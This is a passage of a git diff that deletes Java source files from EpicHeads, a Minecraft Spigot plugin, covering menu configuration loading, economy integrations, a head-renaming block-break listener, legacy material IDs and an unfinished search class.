import com.songoda.epicheads.menu.CacheHeadsMenu;
|
||||
import com.songoda.epicheads.util.Methods;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
public class Menus {
|
||||
|
||||
private MenuConfig browseConfig;
|
||||
private CacheHeadsMenu.Template browseTemplate;
|
||||
|
||||
public Menus() {
|
||||
browseConfig = new MenuConfig("menus/browse.yml");
|
||||
}
|
||||
|
||||
public void reload() {
|
||||
File menusFolder = new File(EpicHeads.getInstance().getDataFolder(), "menus");
|
||||
|
||||
if (!menusFolder.exists() && !menusFolder.mkdirs()) {
|
||||
Methods.formatText("Unable to create the plugins/Heads/menus folder for Heads menu configuration");
|
||||
}
|
||||
|
||||
browseConfig.load();
|
||||
browseTemplate = browseConfig.loadCacheHeadsMenu("menu");
|
||||
browseConfig.saveIfChanged();
|
||||
}
|
||||
|
||||
public CacheHeadsMenu.Template getBrowseTemplate() {
|
||||
return browseTemplate;
|
||||
}
|
||||
|
||||
}
|
@ -1,92 +0,0 @@
|
||||
package com.songoda.epicheads.config.oldmenu;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import com.songoda.epicheads.util.Methods;
|
||||
import org.bukkit.configuration.ConfigurationSection;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
import java.util.function.Function;
|
||||
|
||||
public class Menu {
|
||||
|
||||
private Function<String, Boolean> FILTER_ECONOMY_LINES_OUT = line -> !line.contains("%cost%");
|
||||
|
||||
private String title;
|
||||
private final Map<String, Item> items = new HashMap<>();
|
||||
private final Menu defaults;
|
||||
|
||||
public Menu() {
|
||||
this(null);
|
||||
}
|
||||
|
||||
public Menu(Menu defaults) {
|
||||
this.defaults = defaults;
|
||||
}
|
||||
|
||||
public String getTitle(Placeholder... placeholders) {
|
||||
return title != null ? Placeholder.applyAll(title, placeholders) : "Menu";
|
||||
}
|
||||
|
||||
public Item getItem(String name) {
|
||||
Item item = items.get(name.toLowerCase());
|
||||
|
||||
return item != null ? item : getDefaultItem(name);
|
||||
}
|
||||
|
||||
public ItemStack getItemStack(String name, Placeholder... placeholders) {
|
||||
Item item = getItem(name);
|
||||
|
||||
return item != null ? item.build(getItemLoreFilter(), placeholders) : null;
|
||||
}
|
||||
|
||||
private Item getDefaultItem(String name) {
|
||||
return defaults != null ? defaults.getItem(name) : null;
|
||||
}
|
||||
|
||||
private Function<String, Boolean> getItemLoreFilter() {
|
||||
return EpicHeads.getInstance().getMainConfig().isEconomyEnabled() ? null : FILTER_ECONOMY_LINES_OUT;
|
||||
}
|
||||
|
||||
public void load(String filename, ConfigurationSection section, AtomicBoolean shouldSave) {
|
||||
for (String key : section.getKeys(false)) {
|
||||
if (!section.isConfigurationSection(key)) {
|
||||
loadValue(section, key);
|
||||
continue;
|
||||
}
|
||||
|
||||
Item item = Item.load(filename, section.getConfigurationSection(key), shouldSave);
|
||||
|
||||
if (item == null)
|
||||
continue;
|
||||
|
||||
items.put(key.toLowerCase(), item);
|
||||
}
|
||||
}
|
||||
|
||||
private void loadValue(ConfigurationSection section, String key) {
|
||||
if (key.equals("title")) {
|
||||
title = section.getString(key, null);
|
||||
return;
|
||||
}
|
||||
|
||||
Methods.formatText("Unknown use of value \"" + key + "\" in menu \"" + section.getCurrentPath() + "\"");
|
||||
}
|
||||
|
||||
public static Menu loadMenu(String filename, ConfigurationSection section, AtomicBoolean shouldSave) {
|
||||
return loadMenu(filename, section, shouldSave, null);
|
||||
}
|
||||
|
||||
public static Menu loadMenu(String filename, ConfigurationSection section, AtomicBoolean shouldSave, Menu defaults) {
|
||||
Menu menu = new Menu(defaults);
|
||||
|
||||
menu.load(filename, section, shouldSave);
|
||||
|
||||
return menu;
|
||||
}
|
||||
|
||||
}
|
@ -1,97 +0,0 @@
|
||||
package com.songoda.epicheads.config.oldmenu;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.config.ConfigFile;
|
||||
import com.songoda.epicheads.util.Clock;
|
||||
import com.songoda.epicheads.util.Methods;
|
||||
import org.bukkit.configuration.ConfigurationSection;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
|
||||
public class MenuConfig {
|
||||
|
||||
private final ConfigurationSection defaults;
|
||||
private final ConfigFile configFile;
|
||||
private final Map<String, Menu> menus;
|
||||
private final Map<String, Menu> defaultMenus;
|
||||
|
||||
public MenuConfig(ConfigFile configFile) {
|
||||
this.menus = new HashMap<>();
|
||||
this.defaultMenus = new HashMap<>();
|
||||
this.configFile = configFile;
|
||||
this.defaults = loadDefaults();
|
||||
|
||||
reload();
|
||||
}
|
||||
|
||||
public Menu getMenu(String name) {
|
||||
Menu menu = menus.get(name.toLowerCase());
|
||||
|
||||
return (menu != null ? menu : defaultMenus.get(name.toLowerCase()));
|
||||
}
|
||||
|
||||
public void reload() {
|
||||
Clock timer = Clock.start();
|
||||
|
||||
configFile.copyDefaults();
|
||||
configFile.reload();
|
||||
|
||||
String filename = configFile.getName();
|
||||
ConfigurationSection config = configFile.getConfig();
|
||||
AtomicBoolean shouldSave = new AtomicBoolean(false);
|
||||
|
||||
menus.clear();
|
||||
|
||||
for (String key : config.getKeys(false)) {
|
||||
if (!config.isConfigurationSection(key)) {
|
||||
Methods.formatText("Unknown use of value " + key + " in " + filename);
|
||||
continue;
|
||||
}
|
||||
|
||||
ConfigurationSection menuSection = config.getConfigurationSection(key);
|
||||
|
||||
Menu defaultMenu = defaultMenus.get(key.toLowerCase());
|
||||
Menu menu = Menu.loadMenu(filename, menuSection, shouldSave, defaultMenu);
|
||||
|
||||
menus.put(key.toLowerCase(), menu);
|
||||
}
|
||||
|
||||
for (String key : defaultMenus.keySet()) {
|
||||
if (menus.containsKey(key))
|
||||
continue;
|
||||
|
||||
config.set(key, defaults.getConfigurationSection(key));
|
||||
|
||||
Methods.formatText(key + " was missing in " + filename + ", creating it");
|
||||
shouldSave.set(true);
|
||||
}
|
||||
|
||||
if (shouldSave.get()) {
|
||||
configFile.save();
|
||||
}
|
||||
|
||||
Methods.formatText("Loaded Menu Config with " + menus.size() + " Menus " + timer);
|
||||
}
|
||||
|
||||
private ConfigurationSection loadDefaults() {
|
||||
String filename = configFile.getName();
|
||||
ConfigurationSection config = configFile.getDefaults();
|
||||
AtomicBoolean shouldSave = new AtomicBoolean(false);
|
||||
|
||||
defaultMenus.clear();
|
||||
|
||||
for (String key : config.getKeys(false)) {
|
||||
if (!config.isConfigurationSection(key))
|
||||
continue;
|
||||
|
||||
ConfigurationSection menuSection = config.getConfigurationSection(key);
|
||||
|
||||
defaultMenus.put(key.toLowerCase(), Menu.loadMenu(filename, menuSection, shouldSave));
|
||||
}
|
||||
|
||||
return config;
|
||||
}
|
||||
|
||||
}
|
@ -1,76 +0,0 @@
|
||||
package com.songoda.epicheads.config.oldmenu;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.oldmenu.InventoryType;
|
||||
|
||||
public class Menus {
|
||||
|
||||
public static final String SPLIT = "-";
|
||||
|
||||
public static final String CATEGORIES = "categories";
|
||||
public static final String HEADS = "heads";
|
||||
public static final String CONFIRM = "confirm";
|
||||
|
||||
public static final MenusGroup GET = new MenusGroup("get");
|
||||
public static final MenusGroup SEARCH = new MenusGroup("search");
|
||||
public static final MenusGroup REMOVE = new MenusGroup("remove");
|
||||
public static final MenusGroup RENAME = new MenusGroup("rename");
|
||||
public static final MenusGroup COST = new MenusGroup("cost");
|
||||
public static final MenusGroup CATEGORY_COST = new MenusGroup("category-cost");
|
||||
public static final MenusGroup CATEGORY_COST_REMOVE = new MenusGroup("category-cost-remove");
|
||||
public static final MenusGroup ID = new MenusGroup("id");
|
||||
|
||||
public static Menu get(String name) {
|
||||
return EpicHeads.getInstance().getMenuConfig().getMenu(name);
|
||||
}
|
||||
|
||||
public static class MenusGroup {
|
||||
private String prefix;
|
||||
|
||||
public MenusGroup(String prefix) {
|
||||
this.prefix = prefix;
|
||||
}
|
||||
|
||||
public String getPrefix() {
|
||||
return prefix;
|
||||
}
|
||||
|
||||
public String getCategoriesName() {
|
||||
return prefix + SPLIT + CATEGORIES;
|
||||
}
|
||||
|
||||
public String getHeadsName() {
|
||||
return prefix + SPLIT + HEADS;
|
||||
}
|
||||
|
||||
public String getConfirmName() {
|
||||
return prefix + SPLIT + CONFIRM;
|
||||
}
|
||||
|
||||
public Menu categories() {
|
||||
return get(getCategoriesName());
|
||||
}
|
||||
|
||||
public Menu heads() {
|
||||
return get(getHeadsName());
|
||||
}
|
||||
|
||||
public Menu confirm() {
|
||||
return get(getConfirmName());
|
||||
}
|
||||
|
||||
public Menu fromType(InventoryType type) {
|
||||
switch (type) {
|
||||
case CATEGORY:
|
||||
return categories();
|
||||
case HEADS:
|
||||
return heads();
|
||||
case CONFIRM:
|
||||
return confirm();
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -1,19 +0,0 @@
|
||||
package com.songoda.epicheads.economy;
|
||||
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public interface Economy {
|
||||
|
||||
public String getName();
|
||||
|
||||
public String formatBalance(double bal);
|
||||
|
||||
public boolean tryHook();
|
||||
|
||||
public boolean isHooked();
|
||||
|
||||
public boolean hasBalance(Player player, double bal);
|
||||
|
||||
public boolean takeBalance(Player player, double bal);
|
||||
|
||||
}
|
@ -1,81 +0,0 @@
|
||||
package com.songoda.epicheads.economy;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
public class ItemEconomy implements Economy {
|
||||
|
||||
public boolean isItem(ItemStack itemStack) {
|
||||
if (itemStack == null)
|
||||
return false;
|
||||
Item item = Item.create(itemStack).amount(1);
|
||||
return item.equals(EpicHeads.getInstance().getMainConfig().getItemEconomyItem());
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getName() {
|
||||
return "Item";
|
||||
}
|
||||
|
||||
private int convertAmount(double amount) {
|
||||
return (int) Math.ceil(amount);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String formatBalance(double bal) {
|
||||
int amount = convertAmount(bal);
|
||||
|
||||
return Integer.toString(amount);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean tryHook() {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isHooked() {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasBalance(Player player, double bal) {
|
||||
int amount = convertAmount(bal);
|
||||
for (ItemStack item : player.getInventory().getContents()) {
|
||||
if (!isItem(item))
|
||||
continue;
|
||||
if (amount <= item.getAmount())
|
||||
return true;
|
||||
amount -= item.getAmount();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean takeBalance(Player player, double bal) {
|
||||
int amount = convertAmount(bal);
|
||||
ItemStack[] contents = player.getInventory().getContents();
|
||||
for (int index = 0; index < contents.length; ++index) {
|
||||
ItemStack item = contents[index];
|
||||
if (!isItem(item))
|
||||
continue;
|
||||
if (amount >= item.getAmount()) {
|
||||
amount -= item.getAmount();
|
||||
contents[index] = null;
|
||||
} else {
|
||||
item.setAmount(item.getAmount() - amount);
|
||||
amount = 0;
|
||||
}
|
||||
if (amount == 0)
|
||||
break;
|
||||
}
|
||||
if (amount != 0)
|
||||
return false;
|
||||
player.getInventory().setContents(contents);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
@ -1,37 +0,0 @@
|
||||
package com.songoda.epicheads.economy;
|
||||
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public class NoEconomy implements Economy {
|
||||
|
||||
@Override
|
||||
public String getName() {
|
||||
return "No";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String formatBalance(double bal) {
|
||||
return Double.toString(bal);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean tryHook() {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isHooked() {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasBalance(Player player, double bal) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean takeBalance(Player player, double bal) {
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
@ -1,56 +0,0 @@
|
||||
package com.songoda.epicheads.economy;
|
||||
|
||||
import org.black_ixx.playerpoints.PlayerPoints;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public class PlayerPointsEconomy implements Economy {
|
||||
|
||||
private PlayerPoints playerPoints;
|
||||
|
||||
@Override
|
||||
public String getName() {
|
||||
return "PlayerPoints";
|
||||
}
|
||||
|
||||
private int convertAmount(double amount) {
|
||||
return (int) Math.ceil(amount);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String formatBalance(double bal) {
|
||||
int amount = convertAmount(bal);
|
||||
|
||||
return Integer.toString(amount);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean tryHook() {
|
||||
if (Bukkit.getServer().getPluginManager().getPlugin("PlayerPoints") == null)
|
||||
return false;
|
||||
|
||||
playerPoints = (PlayerPoints) Bukkit.getPluginManager().getPlugin("PlayerPoints");
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isHooked() {
|
||||
return playerPoints != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasBalance(Player player, double bal) {
|
||||
int amount = convertAmount(bal);
|
||||
|
||||
return playerPoints.getAPI().look(player.getUniqueId()) >= amount;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean takeBalance(Player player, double bal) {
|
||||
int amount = convertAmount(bal);
|
||||
|
||||
return playerPoints.getAPI().take(player.getUniqueId(), amount);
|
||||
}
|
||||
|
||||
}
|
@ -1,52 +0,0 @@
|
||||
package com.songoda.epicheads.economy;
|
||||
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.plugin.RegisteredServiceProvider;
|
||||
|
||||
public class VaultEconomy implements Economy {
|
||||
|
||||
private net.milkbowl.vault.economy.Economy economy;
|
||||
|
||||
@Override
|
||||
public String getName() {
|
||||
return "Vault";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String formatBalance(double bal) {
|
||||
return Double.toString(bal);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean tryHook() {
|
||||
if (Bukkit.getServer().getPluginManager().getPlugin("Vault") == null)
|
||||
return false;
|
||||
|
||||
RegisteredServiceProvider<net.milkbowl.vault.economy.Economy> rsp =
|
||||
Bukkit.getServicesManager().getRegistration(net.milkbowl.vault.economy.Economy.class);
|
||||
|
||||
if (rsp == null)
|
||||
return false;
|
||||
|
||||
economy = rsp.getProvider();
|
||||
|
||||
return economy != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isHooked() {
|
||||
return economy != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasBalance(Player player, double bal) {
|
||||
return economy.has(player, bal);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean takeBalance(Player player, double bal) {
|
||||
return economy.withdrawPlayer(player, bal).transactionSuccess();
|
||||
}
|
||||
|
||||
}
|
@ -1,213 +0,0 @@
|
||||
package com.songoda.epicheads.handlers;
|
||||
|
||||
import com.mojang.authlib.GameProfile;
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.util.Methods;
|
||||
import com.songoda.epicheads.volatilecode.ItemNBT;
|
||||
import com.songoda.epicheads.volatilecode.Items;
|
||||
import com.songoda.epicheads.volatilecode.TextureGetter;
|
||||
import com.songoda.epicheads.volatilecode.reflection.nms.BlockPosition;
|
||||
import com.songoda.epicheads.volatilecode.reflection.nms.TileEntitySkull;
|
||||
import com.songoda.epicheads.volatilecode.reflection.nms.World;
|
||||
import net.sothatsit.blockstore.BlockStoreApi;
|
||||
import org.bukkit.*;
|
||||
import org.bukkit.block.Block;
|
||||
import org.bukkit.block.BlockState;
|
||||
import org.bukkit.block.Skull;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventException;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.Listener;
|
||||
import org.bukkit.event.block.BlockBreakEvent;
|
||||
import org.bukkit.event.block.BlockPlaceEvent;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
import org.bukkit.inventory.meta.ItemMeta;
|
||||
import org.bukkit.inventory.meta.SkullMeta;
|
||||
import org.bukkit.plugin.RegisteredListener;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.concurrent.atomic.AtomicInteger;
|
||||
|
||||
public class HeadNamer implements Listener {
|
||||
|
||||
private final EpicHeads instance;
|
||||
|
||||
public HeadNamer(EpicHeads instance) {
|
||||
this.instance = instance;
|
||||
}
|
||||
|
||||
public void registerEvents() {
|
||||
Bukkit.getPluginManager().registerEvents(this, EpicHeads.getInstance());
|
||||
}
|
||||
|
||||
private boolean shouldUseBlockStore() {
|
||||
return instance.getMainConfig().shouldUseBlockStore() && instance.isBlockStoreAvailable();
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
private boolean isHeadsHead(ItemStack item) {
|
||||
if (!Items.isSkull(item))
|
||||
return false;
|
||||
|
||||
SkullMeta meta = (SkullMeta) item.getItemMeta();
|
||||
// This needs to be kept too since it will not work on 1.8 if changed.
|
||||
return meta.hasOwner() && meta.getOwner().equals("SpigotHeadPlugin");
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
private boolean isHeadsHead(Block block) {
|
||||
BlockState state = block.getState();
|
||||
if (!(state instanceof Skull))
|
||||
return false;
|
||||
|
||||
Skull skull = (Skull) state;
|
||||
|
||||
// This needs to be kept too since it will not work on 1.8 if changed.
|
||||
return skull.getOwner() != null && skull.getOwner().equals("SpigotHeadPlugin");
|
||||
}
|
||||
|
||||
private GameProfile getGameProfile(Block block) {
|
||||
World world = new World(block.getWorld());
|
||||
BlockPosition pos = new BlockPosition(block.getX(), block.getY(), block.getZ());
|
||||
TileEntitySkull tile = world.getTileEntity(pos).asSkullEntity();
|
||||
|
||||
return tile.getGameProfile();
|
||||
}
|
||||
|
||||
private String findHeadName(Block block) {
|
||||
if (instance.getMainConfig().shouldUseCacheNames()) {
|
||||
GameProfile profile = getGameProfile(block);
|
||||
String texture = TextureGetter.findTexture(profile);
|
||||
CacheHead head = instance.getCache().findHeadByTexture(texture);
|
||||
|
||||
if (head != null)
|
||||
return ChatColor.GRAY + head.getName();
|
||||
}
|
||||
|
||||
return ChatColor.GRAY + instance.getMainConfig().getDefaultHeadName();
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.MONITOR)
|
||||
public void onBlockPlace(BlockPlaceEvent e) {
|
||||
if (!instance.getMainConfig().isHeadNamesEnabled() || !shouldUseBlockStore() || !isHeadsHead(e.getItemInHand()))
|
||||
return;
|
||||
|
||||
ItemMeta meta = e.getItemInHand().getItemMeta();
|
||||
|
||||
if (!meta.hasDisplayName())
|
||||
return;
|
||||
|
||||
BlockStoreApi.setBlockMeta(e.getBlock(), instance, "name", meta.getDisplayName());
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.LOWEST)
|
||||
public void onBlockBreak(BlockBreakEvent e) {
|
||||
if (!instance.getMainConfig().isHeadNamesEnabled())
|
||||
return;
|
||||
|
||||
Block block = e.getBlock();
|
||||
|
||||
if (e.getPlayer().getGameMode() == GameMode.CREATIVE || !isHeadsHead(block))
|
||||
return;
|
||||
|
||||
// Stop the head item being dropped by the server
|
||||
e.setCancelled(true);
|
||||
|
||||
if (shouldUseBlockStore()) {
|
||||
BlockStoreApi.retrieveBlockMeta(instance, block, instance, "name", metaValue -> {
|
||||
String newName;
|
||||
|
||||
if (metaValue instanceof String) {
|
||||
newName = (String) metaValue;
|
||||
} else {
|
||||
newName = findHeadName(block);
|
||||
}
|
||||
|
||||
redropRenamedSkull(block, e.getPlayer(), newName);
|
||||
});
|
||||
} else {
|
||||
redropRenamedSkull(block, e.getPlayer(), findHeadName(block));
|
||||
}
|
||||
}
|
||||
|
||||
private void redropRenamedSkull(Block block, Player player, String newName) {
|
||||
BlockBreakEvent event = new BlockBreakEvent(block, player);
|
||||
|
||||
List<RegisteredListener> listenersToCall = new ArrayList<>();
|
||||
|
||||
for (RegisteredListener listener : BlockBreakEvent.getHandlerList().getRegisteredListeners()) {
|
||||
if (!listener.getPlugin().isEnabled() || listener.getListener() instanceof HeadNamer)
|
||||
continue;
|
||||
|
||||
listenersToCall.add(listener);
|
||||
}
|
||||
|
||||
CountdownRunnable eventResultHandler = new CountdownRunnable(listenersToCall.size(), () -> {
|
||||
if (event.isCancelled())
|
||||
return;
|
||||
|
||||
GameProfile profile = getGameProfile(block);
|
||||
ItemStack drop = ItemNBT.createHead(profile, newName);
|
||||
|
||||
Location dropLocation = block.getLocation().add(0.5, 0.5, 0.5);
|
||||
|
||||
block.setType(Material.AIR);
|
||||
block.getWorld().dropItemNaturally(dropLocation, drop);
|
||||
});
|
||||
|
||||
for (RegisteredListener listener : listenersToCall) {
|
||||
new BlockBreakEventCaller(listener, event, eventResultHandler).scheduleTask();
|
||||
}
|
||||
}
|
||||
|
||||
private static class BlockBreakEventCaller implements Runnable {
|
||||
|
||||
private final RegisteredListener listener;
|
||||
private final BlockBreakEvent event;
|
||||
private final CountdownRunnable countdown;
|
||||
|
||||
BlockBreakEventCaller(RegisteredListener listener, BlockBreakEvent event, CountdownRunnable countdown) {
|
||||
this.listener = listener;
|
||||
this.event = event;
|
||||
this.countdown = countdown;
|
||||
}
|
||||
|
||||
void scheduleTask() {
|
||||
Bukkit.getScheduler().scheduleSyncDelayedTask(listener.getPlugin(), this);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run() {
|
||||
try {
|
||||
listener.callEvent(event);
|
||||
} catch (EventException exception) {
|
||||
Methods.formatText("There was an exception calling BlockBreakEvent for " + listener.getPlugin().getName());
|
||||
exception.printStackTrace();
|
||||
} finally {
|
||||
countdown.countdown();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static class CountdownRunnable {
|
||||
|
||||
private final AtomicInteger countdown;
|
||||
private final Runnable runnable;
|
||||
|
||||
CountdownRunnable(int count, Runnable runnable) {
|
||||
this.countdown = new AtomicInteger(count);
|
||||
this.runnable = runnable;
|
||||
}
|
||||
|
||||
void countdown() {
|
||||
if (countdown.decrementAndGet() != 0)
|
||||
return;
|
||||
|
||||
EpicHeads.getInstance().sync(runnable);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -1,73 +0,0 @@
|
||||
package com.songoda.epicheads.handlers;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import org.bukkit.Material;
|
||||
|
||||
import java.io.*;
|
||||
import java.util.Collections;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class LegacyIDs {
|
||||
|
||||
public static final LegacyIDs EMPTY = new LegacyIDs(Collections.emptyMap());
|
||||
|
||||
private final Map<Integer, String> idToType;
|
||||
|
||||
public LegacyIDs(Map<Integer, String> idToType) {
|
||||
Checks.ensureNonNull(idToType, "idToType");
|
||||
|
||||
this.idToType = idToType;
|
||||
}
|
||||
|
||||
public String fromId(int id) {
|
||||
return idToType.get(id);
|
||||
}
|
||||
|
||||
public void write(File file) throws IOException {
|
||||
try (FileOutputStream fos = new FileOutputStream(file); OutputStreamWriter osr = new OutputStreamWriter(fos); BufferedWriter writer = new BufferedWriter(osr)) {
|
||||
|
||||
write(writer);
|
||||
}
|
||||
}
|
||||
|
||||
public void write(BufferedWriter writer) throws IOException {
|
||||
for (Map.Entry<Integer, String> entry : idToType.entrySet()) {
|
||||
writer.write(entry.getKey() + ":" + entry.getValue() + "\n");
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public static LegacyIDs create() {
|
||||
Map<Integer, String> idToType = new HashMap<>();
|
||||
|
||||
for (Material type : Material.values()) {
|
||||
// This need to be kept for the legacy IDS for 1.13.
|
||||
idToType.put(type.getId(), type.name());
|
||||
}
|
||||
|
||||
return new LegacyIDs(idToType);
|
||||
}
|
||||
|
||||
public static LegacyIDs readResource(String resource) throws IOException {
|
||||
try (InputStream is = EpicHeads.getInstance().getResource(resource); InputStreamReader isr = new InputStreamReader(is); BufferedReader reader = new BufferedReader(isr)) {
|
||||
|
||||
return read(reader);
|
||||
}
|
||||
}
|
||||
|
||||
public static LegacyIDs read(BufferedReader reader) throws IOException {
|
||||
Map<Integer, String> idToType = new HashMap<>();
|
||||
|
||||
String line;
|
||||
while ((line = reader.readLine()) != null) {
|
||||
int splitIndex = line.indexOf(':');
|
||||
int id = Integer.valueOf(line.substring(0, splitIndex));
|
||||
String type = line.substring(splitIndex + 1);
|
||||
idToType.put(id, type);
|
||||
}
|
||||
|
||||
return new LegacyIDs(idToType);
|
||||
}
|
||||
}
|
@ -1,48 +0,0 @@
|
||||
package com.songoda.epicheads.handlers;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.api.EpicHeadsAPI;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
public class LiveHead {
|
||||
|
||||
private int frames;
|
||||
private List<EpicHeadsAPI.Head> texures;
|
||||
private Location location;
|
||||
|
||||
// Do not pay attention to this class, this is just a sort of sketch which is not ready.
|
||||
|
||||
public LiveHead(int frames, List<EpicHeadsAPI.Head> texures, Location location /*.more.*/) {
|
||||
// Safety first, experimental features should not crash servers.
|
||||
if (frames > 60)
|
||||
frames = 60;
|
||||
this.frames = frames;
|
||||
if (texures.size() > frames)
|
||||
while (texures.size() != frames) {
|
||||
texures.remove(texures.size()); // logic - the last ones will be removed
|
||||
}
|
||||
this.texures = texures;
|
||||
this.location = location;
|
||||
}
|
||||
|
||||
public void renderTexures() {
|
||||
int interval = frames / 20;
|
||||
new BukkitRunnable() {
|
||||
int fases;
|
||||
|
||||
public void run() {
|
||||
// nessecary checks for head texures for fases.
|
||||
fases++;
|
||||
if (fases >= frames)
|
||||
fases = 0;
|
||||
|
||||
}
|
||||
}.runTaskTimer(EpicHeads.getInstance(), 0, interval);
|
||||
// Render (but I am too tired for now).
|
||||
// TODO: External classes from the animation packages.
|
||||
}
|
||||
|
||||
}
|
@ -1,274 +0,0 @@
|
||||
package com.songoda.epicheads.handlers;
|
||||
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
|
||||
public final class Search {
|
||||
|
||||
private Query query;
|
||||
private Query reusableQuery;
|
||||
private double threshold;
|
||||
|
||||
private int[][] editDis;
|
||||
private int editDisDim1;
|
||||
private int editDisDim2;
|
||||
|
||||
private List<Substring> substrings = new ArrayList<>();
|
||||
|
||||
private Search(String query, double threshold) {
|
||||
this.query = new Query(query, toWords(query));
|
||||
this.substrings = new ArrayList<>();
|
||||
this.reusableQuery = new Query("", null);
|
||||
this.threshold = threshold;
|
||||
|
||||
getReusableArray(query.length() + 1, 38);
|
||||
}
|
||||
|
||||
private int[][] getReusableArray(int dim1, int dim2) {
|
||||
if (dim1 <= editDisDim1 && dim2 <= editDisDim2)
|
||||
return editDis;
|
||||
|
||||
dim1 = Math.max(dim1, editDisDim1);
|
||||
dim2 = Math.max(dim2, editDisDim2);
|
||||
|
||||
editDis = new int[dim1][dim2];
|
||||
editDisDim1 = dim1;
|
||||
editDisDim2 = dim2;
|
||||
|
||||
return editDis;
|
||||
}
|
||||
|
||||
private void appendSubstring(int index, String string, int start, int end) {
|
||||
if (index < substrings.size()) {
|
||||
substrings.get(index).reuse(string, start, end);
|
||||
} else {
|
||||
substrings.add(new Substring(string, start, end));
|
||||
}
|
||||
}
|
||||
|
||||
public List<Substring> toWords(String string) {
|
||||
int len = string.length();
|
||||
|
||||
int wordCount = 0;
|
||||
int lastSplit = 0;
|
||||
boolean inWord = false;
|
||||
|
||||
for (int index = 0; index < len; ++index) {
|
||||
char ch = string.charAt(index);
|
||||
|
||||
if (ch == ' ') {
|
||||
if (inWord) {
|
||||
appendSubstring(wordCount, string, lastSplit, index);
|
||||
wordCount += 1;
|
||||
lastSplit = index + 1;
|
||||
}
|
||||
|
||||
inWord = false;
|
||||
} else {
|
||||
inWord = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (inWord) {
|
||||
appendSubstring(wordCount, string, lastSplit, len);
|
||||
wordCount += 1;
|
||||
}
|
||||
|
||||
return substrings.subList(0, wordCount);
|
||||
}
|
||||
|
||||
public Query reuseQuery(String string) {
|
||||
return reusableQuery.reuse(string, toWords(string));
|
||||
}
|
||||
|
||||
public List<CacheHead> checkAll(Iterable<CacheHead> heads) {
|
||||
List<Match> matches = new ArrayList<>();
|
||||
|
||||
for (CacheHead head : heads) {
|
||||
double relevance = calculateRelevance(query, head);
|
||||
|
||||
if (relevance <= threshold)
|
||||
continue;
|
||||
|
||||
matches.add(new Match(head, relevance));
|
||||
